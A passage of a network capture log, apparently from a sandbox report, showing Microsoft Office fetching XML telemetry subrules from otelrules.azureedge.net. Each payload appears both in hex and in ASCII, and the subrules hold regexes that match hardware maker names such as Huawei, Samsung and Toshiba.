2024-12-02 03:58:57 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:58:57 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 37db9b91-d01e-0066-0516-41ea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035857Z-174f7845968pght8hC1EWRyvxg000000071000000000av9m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:58:57 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.4	49865	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:58:57 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:58:57 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:58:57 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 5181e575-b01e-001e-206f-430214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035857Z-174f7845968cdxdrhC1EWRg0en00000013t000000000gkx5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:58:57 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.4	49866	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:58:57 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:58:57 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:58:57 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 14e4a643-101e-007a-3c66-40047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035857Z-174f7845968cdxdrhC1EWRg0en00000013z000000000023e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:58:57 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.4	49867	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:58:59 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:58:59 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:58:59 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 89e88ad2-001e-0065-4491-3f0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035859Z-174f7845968jrjrxhC1EWRmmrs000000143g0000000037gf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:58:59 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.4	49868	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:58:59 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:58:59 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:58:59 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 5aec2b48-201e-0085-7d6b-4334e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035859Z-174f7845968px8v7hC1EWR08ng0000001470000000003tzq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:58:59 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.4	49869	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:58:59 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:58:59 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:58:59 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: e7678828-401e-0078-7a85-434d34000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035859Z-174f7845968xlwnmhC1EWR0sv800000013t00000000051u2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:58:59 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.4	49870	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:58:59 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:59:00 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:58:59 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 2132beec-901e-00ac-46aa-42b69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035859Z-174f78459685m244hC1EWRgp2c00000013q000000000csmv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:59:00 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.4	49871	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:58:59 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:59:00 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:58:59 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: a4f00822-e01e-0033-081e-414695000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035859Z-174f7845968qj8jrhC1EWRh41s00000013y000000000111h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:59:00 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.4	49873	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:59:01 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:59:01 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:59:01 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 06c834e2-b01e-0001-1c8a-4346e2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035901Z-174f7845968psccphC1EWRuz9s000000142g00000000gk5v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:59:01 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.4	49874	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:59:01 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:59:01 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:59:01 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: feaf0f62-e01e-0071-4f14-4208e7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035901Z-174f7845968xlwnmhC1EWR0sv800000013n000000000krhd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:59:01 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.4	49875	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:59:01 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:59:01 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:59:01 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 5810d2d2-301e-0000-6891-3feecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035901Z-174f78459688l8rvhC1EWRtzr00000000gf000000000apaf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:59:01 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.4	49876	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:59:01 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:59:02 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:59:01 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 716ae074-c01e-0046-576f-432db9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035901Z-174f784596886s2bhC1EWR743w00000014100000000023fk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:59:02 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.4	49877	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
